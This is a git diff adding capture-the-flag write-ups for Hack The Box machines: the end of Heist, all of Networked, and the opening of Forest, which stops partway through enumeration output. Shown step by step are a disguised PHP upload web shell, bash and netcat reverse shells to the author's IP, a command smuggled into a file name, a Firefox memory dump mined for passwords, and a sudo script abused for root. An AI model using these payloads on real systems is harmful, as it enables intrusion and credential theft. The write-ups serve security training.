+ if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) { + if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') { + $_SESSION['admin'] = "valid"; + header('Location: issues.php'); + } + else + header('Location: errorpage.php'); + } + else if( isset($_GET['guest']) ) { + if( $_GET['guest'] === 'true' ) { + $_SESSION['guest'] = "valid"; + header('Location: issues.php'); + } + } + + +Looking at the results, we see a few interesting information : admin@support.htb, and a hash sha256 91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040. So navigating over to [hashes.org](hashes.org/search.php) we paste our hash and see that sadly, hashes.org can't find it for us, so we navigate over to the attachments directory + + + *Evil-WinRM* PS C:\inetpub\wwwroot> cd attachments + *Evil-WinRM* PS C:\inetpub\wwwroot\attachments> gci + + + Directory: C:\inetpub\wwwroot\attachments + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 4/21/2019 1:02 PM 780 config.txt + + +this is the config.txt we found earlier, but since we don't have the writing rights to put our reverse shell in here, let's try to enumerate the machine a little further. + + + *Evil-WinRM* PS C:\inetpub\wwwroot\attachments> cd / + *Evil-WinRM* PS C:\> gci + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 4/21/2019 5:33 PM inetpub + d----- 9/15/2018 12:49 PM PerfLogs + d-r--- 8/27/2019 3:00 PM Program Files + d----- 4/22/2019 6:56 AM Program Files (x86) + d-r--- 4/22/2019 7:26 AM Users + d----- 8/27/2019 3:01 PM Windows + + + *Evil-WinRM* PS C:\> cd "Program Files" + *Evil-WinRM* PS C:\Program Files> gci + + + Directory: C:\Program Files + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 4/21/2019 9:39 AM Common Files + d----- 4/21/2019 11:00 AM internet explorer + d----- 4/22/2019 6:56 AM Mozilla Firefox + d----- 4/22/2019 6:47 AM PHP + d----- 4/22/2019 6:46 AM Reference Assemblies + d----- 4/22/2019 6:46 AM runphp + d----- 8/27/2019 3:00 PM VMware + d-r--- 4/21/2019 11:00 AM Windows Defender + d----- 4/21/2019 11:00 AM Windows Defender Advanced Threat Protection + d----- 9/15/2018 12:49 PM Windows Mail + d----- 4/21/2019 11:00 AM Windows Media Player + d----- 9/15/2018 12:49 PM Windows Multimedia Platform + d----- 9/15/2018 12:58 PM windows nt + d----- 4/21/2019 11:00 AM Windows Photo Viewer + d----- 9/15/2018 12:49 PM Windows Portable Devices + d----- 9/15/2018 12:49 PM Windows Security + d----- 9/15/2018 12:49 PM WindowsPowerShell + + +We see that Firefox is installed, let's see if firefox is running using Get-Process + + + *Evil-WinRM* PS C:\Program Files> Get-Process + + Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName + ------- ------ ----- ----- ------ -- -- ----------- + 445 17 2268 5632 416 0 csrss + 293 17 2288 5216 500 1 csrss + 358 15 3488 14520 5244 1 ctfmon + 257 14 4144 13504 3988 0 dllhost + 166 9 1880 9812 0.61 6596 1 dllhost + 619 32 33752 59888 372 1 dwm + 1491 58 23660 78168 5624 1 explorer + 1129 69 118928 157936 28.55 2204 1 firefox + 343 20 9980 37448 0.50 6272 1 firefox + 408 31 16888 62536 1.34 6516 1 firefox + 390 30 30596 64112 42.83 6860 1 firefox + 358 26 16348 37612 0.69 7020 1 firefox + + +From there, we need to processdump one of the firefox processes, to do so we'll use sysinternals + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → wget https://download.sysinternals.com/files/SysinternalsSuite.zip + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → mv ~/Downloads/SysinternalsSuite.zip . + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → unzip SysinternalsSuite.zip + + +_Terminal 1:_ + + + *Evil-WinRM* PS C:\Program Files> cd \users\chase\Documents + *Evil-WinRM* PS C:\users\chase\Documents> upload /home/nihilist/_HTB/Heist/procdump64.exe + Info: Uploading /home/nihilist/_HTB/Heist/procdump64.exe to C:\users\chase\Documents\procdump64.exe + + Data: 455560 bytes of 455560 bytes copied + + Info: Upload successful! + + +once it's uploaded, we can basically dump the firefox process we mentionned earlier. we'll set a few flags to run the binary we uploaded : -accepteula (self explanatory) -ma (write a full dump file) + + + *Evil-WinRM* PS C:\users\chase\Documents> .\procdump64.exe -accepteula -ma 2204 + + ProcDump v9.0 - Sysinternals process dump utility + Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards + Sysinternals - www.sysinternals.com + + [15:30:36] Dump 1 initiated: C:\users\chase\Documents\firefox.exe_200218_153036.dmp + [15:30:36] Dump 1 writing: Estimated dump file size is 460 MB. + [15:30:38] Dump 1 complete: 460 MB written in 1.8 seconds + [15:30:38] Dump count reached. + + +Be aware that the accepteula flag creates a registry entry, which is basically forensic artifact on the box. looking at the results : + + + Evil-WinRM* PS C:\users\chase\Documents> gci + + + Directory: C:\users\chase\Documents + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 2/18/2020 3:30 PM 470485425 firefox.exe_200218_153036.dmp + -a---- 2/18/2020 3:26 PM 341672 procdump64.exe + + + +We're getting a massive file so let's download it rather than printing it's contents in the reverse shell, + +_Terminal 1:_ + + + *Evil-WinRM* PS C:\users\chase\Documents> download firefox.exe_200218_153036.dmp + Info: Downloading C:\users\chase\Documents\firefox.exe_200218_153036.dmp to firefox.exe_200218_153036.dmp + + +We're downloading a massive file and it takes forever, so let's print out the contents of the .dmp file locally looking for passwords + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at  master ? + → strings firefox.exe_200218_153036.dmp | grep pass [e501272] + "C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;= + MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;= + localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;= + MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;= + x:///chrome/toolkit/content/passwordmgr/ + x:///chrome/en-US/locale/en-US/passwordmgr/ + + +Here we see that a certain password shows up : 4dD!5}x/re8]FBuZ for the user admin@support.htb + +![](prg/36_003.png) + +Although it offers no progress whatsoever to log in as that user on the webservice so let's try our credentials somewhere else. let's update our users.txt + + + secret + admin + rout3r + support + chase + jason + administrator + + +let's update our pass.txt + + + 4dD!5}x/re8]FBuZ + + +With our updated users.txt, let's run crackmapexec once again with the password we just found. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist] + → crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt --shares + SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False) + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\chase:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\jason:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE + SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\administrator:4dD!5}x/re8]FBuZ (Pwn3d!) + SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares + SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark + SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------ + SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ READ,WRITE Remote Admin + SMB 10.10.10.149 445 SUPPORTDESK C$ READ,WRITE Default share + SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC + + +and we get matching credentials ! administrator:4dD!5}x/re8]FBuZ let's test out our freshly acquired credentials. + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist] + → python3 psexec.py administrator@10.10.10.149 + Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation + + Password: + [*] Requesting shares on 10.10.10.149..... + [*] Found writable share ADMIN$ + [*] Uploading file REyCZIUo.exe + [*] Opening SVCManager on 10.10.10.149..... + [*] Creating service BCMq on 10.10.10.149..... + [*] Starting service BCMq..... + [!] Press help for extra shell commands + Microsoft Windows [Version 10.0.17763.437] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>type \users\administrator\desktop\root.txt + 50XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/36_graph.png) + diff --git a/Easy/37.md b/Easy/37.md new file mode 100644 index 0000000..9bb8c9e --- /dev/null +++ b/Easy/37.md @@ -0,0 +1,472 @@ +# Writeup + +![](img/37.png) + +## Networked Introduction : + +Networked is an easy Linux box that was released back in August 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → nmap -F 10.10.10.146 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 10:28 GMT + Nmap scan report for 10.10.10.146 + Host is up (0.099s latency). + Not shown: 97 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 443/tcp closed https + + Nmap done: 1 IP address (1 host up) scanned in 2.67 seconds + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked] + → nmap -sCV -p22,80 10.10.10.146 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 10:28 GMT + Nmap scan report for 10.10.10.146 + Host is up (0.098s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) + | ssh-hostkey: + | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) + | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) + |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) + 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) + |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 + |_http-title: Site doesn't have a title (text/html; charset=UTF-8). + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.84 seconds + + +## **Part 2 : Getting User Access** + +Let's investigate the webservice running on port 80 using the curl command with the -sk flags. + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → curl -sk http://10.10.10.146 + <****html> <****body> + Hello mate, we're building the new FaceMash! <****/br> + Help by funding us and be the new Tyler &Cameron;!<****/br> + Join us at the pool party this Sat to get a glimpse + <****/body> <****/html> + +Not much to see on the index page, so let's launch dirsearch to enumerate what directories we can find on the box. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked] + → dirsearch -u http://10.10.10.146/ -e txt,html,js,php -t 50 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, html, js, php | HTTP method: get | Threads: 50 | Wordlist size: 7126 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-18_10-32-21.log + + Target: http://10.10.10.146/ + + [10:32:21] Starting: + [10:32:24] 403 - 213B - /.ht_wsr.txt + [10:32:24] 403 - 215B - /.htaccess-dev + [10:32:24] 403 - 217B - /.htaccess-local + [10:32:24] 403 - 206B - /.hta + [10:32:24] 403 - 217B - /.htaccess-marco + [10:32:24] 403 - 215B - /.htaccess.BAK + [10:32:24] 403 - 216B - /.htaccess.bak1 + [10:32:24] 403 - 216B - /.htaccess.orig + [10:32:24] 403 - 215B - /.htaccess.old + [10:32:24] 403 - 216B - /.htaccess.save + [10:32:24] 403 - 218B - /.htaccess.sample + [10:32:24] 403 - 215B - /.htaccess.txt + [10:32:24] 403 - 217B - /.htaccess_extra + [10:32:24] 403 - 216B - /.htaccess_orig + [10:32:24] 403 - 214B - /.htaccess_sc + [10:32:24] 403 - 214B - /.htaccessBAK + [10:32:24] 403 - 214B - /.htaccessOLD + [10:32:24] 403 - 215B - /.htaccessOLD2 + [10:32:24] 403 - 212B - /.htaccess~ + [10:32:24] 403 - 210B - /.htgroup + [10:32:24] 403 - 215B - /.htpasswd-old + [10:32:24] 403 - 216B - /.htpasswd_test + [10:32:24] 403 - 212B - /.htpasswds + [10:32:24] 403 - 210B - /.htusers + [10:32:34] 301 - 235B - /backup -> http://10.10.10.146/backup/ + [10:32:34] 200 - 885B - /backup/ + [10:32:35] 403 - 210B - /cgi-bin/ + [10:32:39] 200 - 229B - /index.php + [10:32:39] 200 - 229B - /index.php/login/ + [10:32:48] 200 - 169B - /upload.php + [10:32:48] 301 - 236B - /uploads -> http://10.10.10.146/uploads/ + [10:32:48] 200 - 2B - /uploads/ + + +here we have a few interesting results : /backup , /upload.php and /uploads/ , Let's move over to /upload.php and upload our nihilist.php which will basically grab the html GET Variable "nihilist" and pass it to the system command which will execute it. + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked] + → nano nihilist.py + + + + <****?php system($_GET['nihilist']); ?> + +![](prg/37_001.png) + +Uploading the php file we get an error message "invalid image file". Earlier on our dirsearch scan found the /backup/ directory so navigating there we see a file named backup.tar ready for us to download, so let's do so using wget. + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → wget http://10.10.10.146/backup/backup.tar && exiftool backup.tar + --2020-02-18 10:47:23-- http://10.10.10.146/backup/backup.tar + Connecting to 10.10.10.146:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 10240 (10K) [application/x-tar] + Saving to: ‘backup.tar’ + + backup.tar 100%[==================>] 10.00K --.-KB/s in 0.004s + + 2020-02-18 10:47:23 (2.26 MB/s) - ‘backup.tar’ saved [10240/10240] + + ExifTool Version Number : 11.86 + File Name : backup.tar + Directory : . + File Size : 10 kB + File Modification Date/Time : 2019:07:09 12:33:42+01:00 + File Access Date/Time : 2020:02:18 10:47:23+00:00 + File Inode Change Date/Time : 2020:02:18 10:47:23+00:00 + File Permissions : rw-r--r-- + File Type : TAR + File Type Extension : tar + MIME Type : application/x-tar + Warning : Unsupported file type + + +so we get a regular tar file, let's just extract it with tar -xvf + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → tar -xvf backup.tar + index.php + lib.php + photos.php + upload.php + + +so we get a bunch of php files , now we are trying to see in what ways a user can interact with the server, so we'll use the following grep command and look at it's results + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → grep -Ri '$_' * + + Binary file backup.tar matches + nihilist.php: + lib.php:<****form action=" " method="post" enctype="multipart/form-data"> + photos.php: if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) { + upload.php:if( isset($_POST['submit']) ) { + upload.php: if (!empty($_FILES["myFile"])) { + upload.php: $myFile = $_FILES["myFile"]; + upload.php: if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) { + upload.php: //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"]; + upload.php: $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext; + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → cat upload.php| grep type + if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) { + + +Looking at the results, we see a few interesting variables , most notably the $_FILES global variable. we can also see that we must not upload a file that is too large, AND (&&) we need to make sure the check_file_type function allows us to proceed. so let's run the grep command again, this time looking for the check_file_type function : + + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → grep -Ri 'check_file_type(' * + Binary file backup.tar matches + lib.php:function check_file_type($file) { + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → nano lib.php + + +Looking at the results, we see it's being used in both upload.php and lib.php + + + function check_file_type($file) { + $mime_type = file_mime_type($file); + if (strpos($mime_type, 'image/') === 0) { + return true; + } else { + return false; + } + } + + +looking at the function, we see that the file_mime_type function basically checks for [magic bytes](https://blog.netspi.com/magic-bytes-identifying-common-file-formats-at-a-glance/) at the beginning of the uploaded file and seeing if it is actually an image. To test this , we can try and create our own false images : + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → echo "GIF8;nihilist" > test.txt + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → file test.txt + test.txt: GIF image data 26723 x 2608 + + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → nano nihilist.php + + + + GIF8; + + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → mv nihilist.php nihilist.php.gif + + +next up we upload it, and browse to it + +![](prg/37_002.png) ![](prg/37_003.png) ![](prg/37_004.png) + +and from there, we can basically have command execution for example : + + + http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=cat%20/etc/passwd + + root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin guly:x:1000:1000:guly:/home/guly:/bin/bash saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin + + http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=uname%20-a + + GIF8;Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux + + + http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=bash -i >& /dev/tcp/10.10.14.7/9001 0>&1 + + +Here we see that the previous URL does not work because we need to URL ENCODE the spaces, and & symbols, the spaces are + and the & are %26 + + + + http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261 + + +and we are catching the incoming reverse shell connection on our port 9001 : + + + λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 56620 + bash: no job control in this shell + bash-4.2$ uname -a + uname -a + Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux + bash-4.2$ cd /home/guly + cd /home/guly + bash-4.2$ ls -la + ls -la + total 28 + drwxr-xr-x. 2 guly guly 159 Jul 9 2019 . + drwxr-xr-x. 3 root root 18 Jul 2 2019 .. + lrwxrwxrwx. 1 root root 9 Jul 2 2019 .bash_history -> /dev/null + -rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout + -rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile + -rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc + -rw------- 1 guly guly 639 Jul 9 2019 .viminfo + -r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php + -rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly + -r--------. 1 guly guly 33 Oct 30 2018 user.txt + + bash-4.2$ uname -a + uname -a + Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux + bash-4.2$ whoami + whoami + apache + + + +But we are not yet able to print the user flag, because we do not have enough permissions. we are currently the user apache, so we need to escalate privlieges to the guly user. + + + bash-4.2$ cat check_attack.php + cat check_attack.php + $value) { + $msg=''; + if ($value == 'index.html') { + continue; + } + #echo "-------------\n"; + + #print "check: $value\n"; + list ($name,$ext) = getnameCheck($value); + $check = check_ip($name,$value); + + if (!($check[0])) { + echo "attack!\n"; + # todo: attach file + file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); + + exec("rm -f $logpath"); + exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); + echo "rm -f $path$value\n"; + mail($to, $msg, $msg, $headers, "-F$value"); + } + } + + ?> + + +so here we have the php sourcecode of check_attack.php, and you can see that it has a dangerous function here exec("") which is like the system() function we used earlier, it can basically execute anything. So let's look at a line in particular : + + + exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); + + +here we can see that we have no control over anything in this line EXCEPT for the $value variable, which is basically the name of the file, let's navigate over to /var/www/html/uploads/ + + + bash-4.2$ cd /var/www/html/uploads + cd /var/www/html/uploads + + bash-4.2$ nc -v + nc -v + Ncat: Version 7.50 ( https://nmap.org/ncat ) + Ncat: You must specify a host to connect to. QUITTING + + +From there, we see that netcat is available for us. + +_Terminal 1:_ + + + bash-4.2$ touch -- ';nc -c bash 10.10.14.7 9002;.php' + touch -- ';nc -c bash 10.10.14.7 9002;.php' + bash-4.2$ ls + ls + 10_10_14_7.php.gif 127_0_0_2.png 127_0_0_4.png index.html + 127_0_0_1.png 127_0_0_3.png ;nc -c bash 10.10.14.7 9002;.php + + +here we see that we have the filename we want, which will replace our previous $value and seamlessly give us another reverse shell. we ready our other terminal. + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50702 + uname -a + Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux + python -c 'import pty;pty.spawn("/bin/bash")' + [guly@networked ~]$ + + +and now we have upgraded our reverse shell to a tty using python's pty.spawn() function + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50708 + python -c 'import pty;pty.spawn("/bin/bash")' + [guly@networked ~]$ cat /home/guly/user.txt + cat /home/guly/user.txt + 52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +In order to privesc on a linux machine, a good reflex to have is to try out the sudo -l command + + + [guly@networked ~]$ sudo -l + sudo -l + Matching Defaults entries for guly on networked: + !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, + env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", + env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", + env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", + env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", + env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", + secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin + + User guly may run the following commands on networked: + (root) NOPASSWD: /usr/local/sbin/changename.sh + + [guly@networked ~]$ ls -la /usr/local/sbin/changename.sh + ls -la /usr/local/sbin/changename.sh + -rwxr-xr-x 1 root root 422 Jul 8 2019 /usr/local/sbin/changename.sh + + +We see that the script changename.sh may be run as root with no password although as you can see from the result of our second command, we do not have the writing rights to it as it is owned by the root user, so let's check what it does : + + + [guly@networked ~]$ cat /usr/local/sbin/changename.sh + cat /usr/local/sbin/changename.sh + #!/bin/bash -p + cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF + DEVICE=guly0 + ONBOOT=no + NM_CONTROLLED=no + EoF + + regexp="^[a-zA-Z0-9_\ /-]+$" + + for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do + echo "interface $var:" + read x + while [[ ! $x =~ $regexp ]]; do + echo "wrong input, try again" + echo "interface $var:" + read x + done + echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly + done + + /sbin/ifup guly0 + + +basically the vulnerability here is, that if we put a space in any of the variables, once the commands we want is being put in the config file, when the script is going to read it, it is going to execute our command for us , as root. + + + [guly@networked ~]$ sudo /usr/local/sbin/changename.sh + sudo /usr/local/sbin/changename.sh + interface NAME: + nihilist + nihilist + interface PROXY_METHOD: + nihilist + nihilist + interface BROWSER_ONLY: + nihilist bash + nihilist bash + interface BOOTPROTO: + TCP + TCP + [root@networked network-scripts]# cat /root/root.txt + cat /root/root.txt + 0aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to privesc, and print out the root flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/37_graph.png) + diff --git a/Easy/38.md b/Easy/38.md new file mode 100644 index 0000000..3b1ec43 --- /dev/null +++ b/Easy/38.md @@ -0,0 +1,674 @@ +# Forest Writeup + +![](img/38.png) + +## Introduction : + +Forest is an easy windows box released back in October 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.0.0.10/16 ] [ /dev/pts/27 ] [Documents/Github/void.yt] + → nmap -sCV 10.10.10.161 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 17:55 CEST + Nmap scan report for 10.10.10.161 + Host is up (0.34s latency). + Not shown: 989 closed ports + PORT STATE SERVICE VERSION + 53/tcp open domain Simple DNS Plus + 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-24 16:10:35Z) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) + 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) + 464/tcp open kpasswd5? + 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 636/tcp open tcpwrapped + 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) + 3269/tcp open tcpwrapped + Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 2h34m28s, deviation: 4h02m30s, median: 14m28s + | smb-os-discovery: + | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) + | Computer name: FOREST + | NetBIOS computer name: FOREST\x00 + | Domain name: htb.local + | Forest name: htb.local + | FQDN: FOREST.htb.local + |_ System time: 2021-05-24T09:10:39-07:00 + | smb-security-mode: + | account_used: + | authentication_level: user + | challenge_response: supported + |_ message_signing: required + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2021-05-24T16:10:42 + |_ start_date: 2021-05-24T16:09:41 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 21.16 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the RPC service, so let's run enum4linux: + + + [ 10.0.0.10/16 ] [ /dev/pts/6 ] [~/HTB/Forest] + → enum4linux 10.10.10.161 + Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon May 24 18:06:21 2021 + [...] + user:[Administrator] rid:[0x1f4] + user:[Guest] rid:[0x1f5] + user:[krbtgt] rid:[0x1f6] + user:[DefaultAccount] rid:[0x1f7] + user:[$331000-VK4ADACQNUCA] rid:[0x463] + user:[SM_2c8eef0a09b545acb] rid:[0x464] + user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465] + user:[SM_75a538d3025e4db9a] rid:[0x466] + user:[SM_681f53d4942840e18] rid:[0x467] + user:[SM_1b41c9286325456bb] rid:[0x468] + user:[SM_9b69f1b9d2cc45549] rid:[0x469] + user:[SM_7c96b981967141ebb] rid:[0x46a] + user:[SM_c75ee099d0a64c91b] rid:[0x46b] + user:[SM_1ffab36a2f5f479cb] rid:[0x46c] + user:[HealthMailboxc3d7722] rid:[0x46e] + 